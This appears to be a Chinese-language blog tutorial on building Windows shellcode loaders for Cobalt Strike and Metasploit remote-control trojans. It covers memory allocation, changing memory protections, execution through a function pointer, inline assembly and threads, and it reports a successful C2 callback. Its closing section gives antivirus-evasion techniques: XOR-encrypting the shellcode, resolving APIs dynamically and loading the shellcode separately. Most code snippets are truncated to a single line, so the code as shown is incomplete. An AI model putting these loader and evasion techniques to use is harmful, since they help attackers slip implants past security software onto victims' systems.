shellcode 这个概念本应来自pwn,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名
Shellcode 是一组通常用汇编语言编写的机器代码指令,旨在由计算机处理器直接执行。因为汇编指令是特定于体系结构的,这限制了 shellcode 在不同处理器之间的可移植性
为什么需要shellcode 加载器
使用cs或者msf生成的exe远控木马,特征极强,当使用shellcode 加载的方式上线,更容易做免杀操作,接下来的是Windows下的shellcode加载器
shellcode 生成
暂且现在水平有限,还不会手搓shellcode,使用工具生成shellcode
cs
选择监听器
shellcode加载步骤
基本都是差不多的步骤
- 向操作系统申请一段可写可执行的内存
- 将shellcode 拷贝到申请的内存中
- 将程序的EIP指向shellcode区域,执行shellcode
- 申请虚拟内存
windows中最常见的Windows API就是VirtualAlloc
LPVOID VirtualAlloc( |
flAllocationType:指定内存分配的方式,常用值如下:
-
MEM_COMMIT
:将内存页面从保留状态变为提交状态,使其可读写。 -
MEM_RESERVE
:保留一块虚拟地址空间,但不实际分配物理内存。与MEM_COMMIT
搭配使用。 -
MEM_RESET
:通知系统内存已不再需要,但并不影响该内存块的使用。 -
MEM_RELEASE
:释放内存,将dwSize
设为0
。
-
lProtect:设置内存页面的访问权限,常用值包括:
-
PAGE_READONLY
:只读访问。 -
PAGE_READWRITE
:可读写访问。 -
PAGE_EXECUTE_READWRITE
:可执行和读写访问。
-
LPVOID
是Windows API中的一种指针类型,定义在<windows.h>
中。实际上是一个指向任意类型的指针,通常定义为 void*
类型的别名。
使用:
PVOID p=NULL; |
可以先申请为可读可写,然后使用VirtualProtect 修改权限,或者直接修改存储shellcode变量内存区域的权限
DWORD oldProtect; |
或者
VirtualProtect(&buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect); |
BOOL VirtualProtect( |
[in] lpAddress
:要更改访问保护属性的页面区域的起始页面的地址。
[out] lpflOldProtect
:指向变量的指针,该变量接收指定页面区域中第一页的先前访问保护值。如果此参数为NULL或未指向有效变量,则函数失败
- 拷贝到内存
memcpy: c语言中标准函数,用于复制内存
memcpy(p,shellcode,sizeof (shellcode)); |
或者使用CopyMeory
CopyMeory(shellcode,buf,sizeof(buf)); |
- 执行shellcode
最简单的就是指针执行
(( void(*)() ) p) (); |
将指针p强制转为无返回参数的函数指针 调用
最后代码:
|
关闭杀软,编译运行
成功上线cs
这个只是最简单的shellcode loader ,还没有任何的免杀操作,落地就会被杀软干掉,杀软静态检测都过不了
通过代码大致了解了shellcode 如何去加载执行
本质上,程序中shellcode存放的数据放在数据段,其不具备可执行权限,所以是不能直接执行的
而我们需要做的正是将其具备RWX权限
其他执行方式
上面介绍了指针执行,下面还有几种执行方式
内联汇编
只适用于x86
指定编译器赋予数据段可读可写可执行权限
|
线程执行
可以去看PE文件中TLS表相关内容,可以注册回调函数,在进程或者线程创建或者销毁时候执行,类似与dll中的主函数
void thread_exe() { |
一点点Bypass
一些免杀思路:
- 对shellcode加密:杀软可能扫描字符串,并且未加密 的shellcode 静态扫描就能暴露 c2地址
- 调用功能相似的api: 替换调一些常用api
- 使用
LoadLibraryA
动态加载调用函数:上篇PE文件结构里面就提到过,导入表,调用外部的函数,将会出现在导入表中,这样杀软可以扫描导入表来判断 - shellcod 与加载器分离,分离加载
除此之外呢,还可以编写驱动程序,上升为内核态与安全设备对抗
动态获取函数
LoadLibraryA 加载一个dll, kerneal32.dll 基本每一个exe都会加载,所以加载这个dll没问题
HMODULE LoadLibraryA( |
返回值是模块的句柄。
HMODULE hKernel32 = LoadLibraryA("Kernel32.dll"); |
GetProcAddress 获取 函数地址
FARPROC GetProcAddress( |
[in] hModule
:包含函数或变量的 DLL 模块的句柄。 LoadLibrary 、 LoadLibraryEx 、 LoadPackagingLibrary或GetModuleHandle函数返回此句柄。
如果函数成功,返回值是导出函数或变量的地址。
GetProcAddress(hKernel32, "VirtualAlloc"); |
int main() { |
此外还可以进一步隐藏行为,遍历当前进程的PEB和TEB拿到Kernernal32的基址(后续更新)
VirtualAlloc 可以进行替换
GlobalAlloc |
加密
杀软会扫描字符串,所以需要对原始的shellcode进行加密,通过静态检查
xor
void xor_encrypt(unsigned char* data, int data_len, const char* key) { |
然后shellcode loader中存放加密的字符串,然后解密后进行加载